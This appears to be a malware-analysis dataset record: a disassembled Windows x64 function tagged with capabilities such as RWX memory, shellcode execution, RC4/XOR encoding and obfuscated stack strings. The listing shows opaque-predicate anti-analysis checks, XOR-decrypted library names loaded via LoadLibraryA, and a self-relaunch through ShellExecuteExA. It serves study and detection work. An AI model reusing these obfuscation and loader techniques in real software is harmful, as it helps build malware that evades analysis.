Function at 0x140053970
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check os version
Contain obfuscated stackstrings
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48548]
mov eax, 0x48620
call fcn.1400d2340
sub rsp, rax
mov rax, qword [0x14012f700]
xor rax, rsp
mov qword [rbp + 0x48510], rax
mov rax, qword gs:[0x3f]
mov esi, 0xfd6ccd6d
xor ebx, ebx
mov r10d, 0x930f525f
mov r13d, 0x2aaaaaab
mov r14d, 0xfeefbfff
lea r15d, [rbx + 1]
mov r11d, 0xdeadbeef
mov r12d, 0x7dfe5890
cmp rax, r12
jne 0x140053b07
mov r9d, esi
mov edi, ebx
mov r8d, ebx
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, r10
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r14
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x1400539f0
mov rcx, rdi
xor rcx, r9
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd10], rax
add rcx, r12
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
or rax, r11
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140053c3b
add edi, r15d
cmp edi, 5
jl 0x140053aa7
mov ecx, r12d
call fcn.140004044
mov rax, qword gs:[0x3f]
mov r14d, reloc.WS2_32.dll_recv
movabs r9, 0x5684fef9ad4a0fe0
cmp rax, r12
jne 0x140053c51
mov rdi, rbx
mov r8d, r14d
sub r8d, r15d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140053b70
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r9
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140053b37
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov r11d, 0xdeadbeef
or rcx, r11
mov rax, rdi
or rax, 0x6e639f32
xor rcx, rax
mov r10d, 0x930f525f
xor rcx, r10
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140053c46
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x140053bd9
jmp 0x140053c5d
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r10d, 0x930f525f
mov r11d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x140053d66
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x140053c7b
xor rdi, r10
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r10
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
or rax, r11
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r12
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140053eb0
add edi, r15d
cmp edi, 7
jl 0x140053d06
mov ecx, r12d
call fcn.140051864
mov rax, qword gs:[0x3f]
mov r10d, 0x930f525f
cmp rax, r12
jne 0x140053ec6
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov r11d, 0xfeefbfff
mov rdx, r10
mov ecx, r8d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r11
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x140053d95
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r12
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140053ebb
add edi, r15d
cmp edi, 5
jl 0x140053e52
jmp 0x140053ecc
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r9d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x140053fe9
mov rdi, rbx
mov r8d, r14d
movabs r11, 0x5684fef9ad4a0fe0
sub r8d, r15d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140053f27
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140053eee
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
or rax, r9
xor rcx, rax
xor rcx, r10
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140054148
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x140053f85
lea rdx, [0x14011a9db]
lea rcx, [rbp + 0x7e0]
call fcn.1400039f8
mov rdx, rax
mov ecx, r12d
call fcn.140009644
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005415e
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov esi, 0xfeefbfff
mov r10d, 0x930f525f
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, r10
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, rsi
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x14005402d
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r12
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140054153
add edi, r15d
cmp edi, 5
jl 0x1400540ea
jmp 0x140054164
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r9d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x140054287
mov rdi, rbx
mov r8d, r14d
movabs r10, 0x5684fef9ad4a0fe0
sub r8d, r15d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x1400541bf
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140054186
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
or rax, r9
xor rcx, rax
mov r10d, 0x930f525f
xor rcx, r10
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400544c2
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x140054223
mov byte [rbp + 0x240], Ordinal_27
mov byte [rbp + 0x241], 0x86
mov byte [rbp + 0x242], 0x76
mov byte [rbp + 0x243], 0x9a
mov byte [rbp + 0x244], 0x3f
mov byte [rbp + 0x245], Ordinal_46
mov byte [rbp + 0x246], 0xad
mov byte [rbp + 0x247], 0x88
mov byte [rbp + 0x248], 0xbc
xor eax, eax
mov byte [rbp + 0x249], al
mov r8, rbx
movabs rbx, 0x1110daaef
movabs rsi, 0x1110daaf0
lea r10d, [rax + 9]
movabs r9, 0x9997b0270
movabs r13, 0x8080808080808081
movabs r11, 0x1332f604e0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x240], dil
add r8, r15
add r9, rsi
add r10, 9
cmp r9, r11
jb 0x140054307
xor ebx, ebx
mov byte [rbp + 0x249], bl
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x3f]
cmp rax, r12
mov esi, 0xfd6ccd6d
mov r10d, 0x930f525f
jne 0x1400544d8
mov r9d, esi
mov edi, ebx
mov r8d, ebx
mov esi, 0xfeefbfff
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, r10
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, rsi
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x1400543a3
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r12
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r11d, 0xdeadbeef
or rax, r11
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400544cd
add edi, r15d
cmp edi, 5
jl 0x140054462
jmp 0x1400544de
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r11d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x1400545e9
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x1400544fc
xor rdi, r10
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r10
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
or rax, r11
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r12
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140054b0c
add edi, r15d
cmp edi, 7
jl 0x140054587
mov byte [rbp + 0x260], 0x48
mov byte [rbp + 0x261], 0xad
mov byte [rbp + 0x262], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x263], 0xbc
mov byte [rbp + 0x264], 0xf7
mov byte [rbp + 0x265], 0x47
mov byte [rbp + 0x266], 0x40
mov byte [rbp + 0x267], Ordinal_143
mov byte [rbp + 0x268], gethostname
mov byte [rbp + 0x269], 0xee
mov byte [rbp + 0x26a], 0xe3
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x26b], al
xor eax, eax
mov byte [rbp + 0x26c], al
mov r8, rbx
mov rsi, r13
movabs rbx, 0x1110daaef
lea r10d, [rax + 0xc]
movabs r9, 0xccca40340
movabs r11, 0x1999480680
movabs r13, 0x1110daaf0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x260], dil
add r8, r15
add r9, r13
add r10, 0xc
cmp r9, r11
jb 0x14005467b
xor ebx, ebx
mov byte [rbp + 0x26c], bl
lea rcx, [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x3f]
cmp rax, r12
mov esi, 0xfd6ccd6d
movabs r13, 0xccca40340
jne 0x140054832
mov edi, ebx
mov r8d, r14d
mov r9d, 0x2aaaaaab
movabs r13, 0x5684fef9ad4a0fe0
sub r8d, r15d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r9d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005475c
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r13
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140054723
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x930f525f
xor rcx, rax
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movabs r13, 0xccca40340
lea ecx, [rdi + 0x7dfe5890]
mov eax, r9d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd10]
or rdx, rax
mov rcx, qword [rbp + 0xd20]
or rcx, rdx
mov rax, qword [rbp + 0xd18]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140054b17
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x1400547ce
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14005227c
mov edi, 0x104
movabs r12, 0x6665201a0
mov qword [rsp + 0x60], r12
test eax, eax
jne 0x1400560b5
mov esi, ebx
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x282f0]
call fcn.1400fc610
mov r8d, edi
lea rdx, [rbp + 0x282f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140054dd1
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xcb0]
call fcn.1400fc610
mov dword [rbp + 0xca0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xca4], 0x400
mov qword [rbp + 0xca8], rbx
mov byte [rbp - 0x48], 0x3d
mov byte [rbp - 0x47], 0xb4
mov byte [rbp - 0x46], 0x75
mov byte [rbp - 0x45], 0xb2
mov byte [rbp - 0x44], 0xff
xor eax, eax
mov byte [rbp - 0x43], al
mov r8, rbx
lea r10d, [rax + 5]
movabs r9, 0x5554456b0
movabs r11, 0x8080808080808081
movabs r12, 0x1110daaf0
movabs r13, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 - 0x48]
xor dil, r8b
mov byte [rbp + r8 - 0x48], dil
inc r8
add r9, r12
add r10, 5
movabs rax, 0xaaa88ad60
cmp r9, rax
jb 0x1400548fe
mov byte [rbp - 0x43], bl
lea rax, [rbp - 0x48]
mov qword [rbp + 0xcb0], rax
lea rax, [rbp + 0x282f0]
mov qword [rbp + 0xcb8], rax
mov byte [rbp - 0x77], bl
lea rax, [rbp - 0x77]
mov qword [rbp + 0xcc0], rax
mov qword [rbp + 0xcc8], rbx
mov dword [rbp + 0xcd0], 1
mov qword [rbp + 0xcd8], rbx
lea rcx, [rbp + 0xca0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov rcx, qword gs:[0x3f]
test eax, eax
movabs r12, 0x6665201a0
movabs r13, 0xccca40340
mov r9d, 0x7dfe5890
je 0x140054b2d
mov r15d, 1
cmp rcx, r9
jne 0x140054b03
mov rdi, rbx
lea r8d, [r15 + 0xf]
mov r10d, 0x2aaaaaab
sub r8d, r15d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140054a36
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
movabs rax, 0x5684fef9ad4a0fe0
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x1400549fd
mov rax, rdi
xor rax, rdi
xor rax, r9
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x930f525f
xor rcx, rax
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r9
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
lea ecx, [rbx + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, ebx, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140054b22
add ebx, r15d
mov eax, 0xa
cmp ebx, eax
jl 0x140054aa3
mov ecx, r15d
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
cmp rcx, r9
jne 0x140054c5b
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r10d, 0x2aaaaaab
movabs r12, 0x5684fef9ad4a0fe0
dec r8d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140054b86
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r12
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140054b4f
mov rax, rdi
xor rax, rdi
xor rax, r9
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x930f525f
xor rcx, rax
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r9
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movabs r12, 0x6665201a0
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140054dbb
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x140054bf8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
mov r11d, 0x930f525f
cmp rax, r10
jne 0x140054ddd
mov r8d, 0xfd6ccd6d
mov rdi, rbx
mov r9d, ebx
mov r12d, 0xfeefbfff
mov ecx, r9d
mov rdx, r10
shl rdx, cl
mov rax, r11
sar rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r12
xor rcx, rax
add rdi, rcx
inc r9d
cmp r9d, 8
jl 0x140054c93
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
